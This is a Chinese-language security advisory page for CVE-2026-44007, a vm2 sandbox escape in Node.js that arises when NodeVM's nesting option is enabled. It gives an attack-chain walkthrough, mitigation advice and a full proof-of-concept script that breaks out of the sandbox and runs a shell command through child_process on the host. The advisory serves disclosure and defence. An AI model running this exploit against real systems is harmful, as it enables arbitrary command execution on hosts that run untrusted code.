IPBUF安全漏洞报告
English
CVE-2026-44007 CVSS 9.1 严重

CVE-2026-44007 vm2沙箱逃逸漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44007
漏洞类型
沙箱逃逸
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
vm2

相关标签

沙箱逃逸RCEvm2Node.jsCVE-2026-44007

漏洞概述

vm2是Node.js的开源沙箱库。在3.11.1之前版本,当NodeVM启用nesting选项时,沙箱代码可绕过外层require限制加载vm2模块。攻击者利用此特性可构造不受限的内部沙箱,进而在宿主机执行任意操作系统命令,完全控制系统。

技术细节

该漏洞源于vm2在处理嵌套沙箱配置时的逻辑缺陷。当外层NodeVM配置了`nesting: true`时,沙箱内部的代码可以通过`require('vm2')`无条件引入vm2模块,即使外层配置了`require: false`或其他限制。一旦获得vm2模块的访问权,攻击者可以在沙箱内实例化一个新的NodeVM对象,并配置其为不受限模式(例如移除require限制)。通过这个新的沙箱实例,攻击者可以直接调用Node.js的`child_process`模块或其他系统API,从而逃逸出原始沙箱环境,在宿主操作系统上执行任意命令。此问题影响所有在nesting模式下运行不可信代码的应用。

攻击链分析

STEP 1
步骤1
攻击者向运行vm2库的应用程序提交包含恶意代码的输入,该应用程序配置了nesting: true。
STEP 2
步骤2
应用程序在NodeVM沙箱内执行攻击者提供的代码。
STEP 3
步骤3
沙箱内的恶意代码调用require('vm2'),成功绕过外层沙箱对require的限制。
STEP 4
步骤4
攻击者利用获取的vm2模块实例化一个新的、配置不受限的NodeVM。
STEP 5
步骤5
通过新的NodeVM加载child_process等模块,在宿主机上执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const { NodeVM } = require('vm2'); // Create a vulnerable VM instance with nesting enabled const vm = new NodeVM({ console: 'inherit', sandbox: {}, require: { external: false, // Restrict external modules builtin: [], // Restrict builtin modules root: "./" }, nesting: true // Vulnerable configuration }); console.log('[*] Running untrusted code in vulnerable VM...'); // Malicious code to be executed inside the sandbox const untrustedCode = ` // Step 1: Bypass the outer require restrictions const vm2 = require('vm2'); console.log('[+] Successfully required vm2 inside sandbox'); // Step 2: Create a new inner VM with unrestricted privileges const innerVM = new vm2.NodeVM({ require: { external: true, builtin: ['*'] } }); // Step 3: Execute arbitrary OS command using the inner VM const exploit = innerVM.run('(function() { return require("child_process").execSync("whoami").toString(); })'); exploit(); `; try { vm.run(untrustedCode); } catch (e) { console.error(e); }

影响范围

vm2 < 3.11.1

防御指南

临时缓解措施
如果无法立即升级,建议在创建NodeVM实例时禁用nesting选项(设置为false),以防止沙箱代码引入vm2模块。同时,严格审查并限制传入沙箱的代码来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表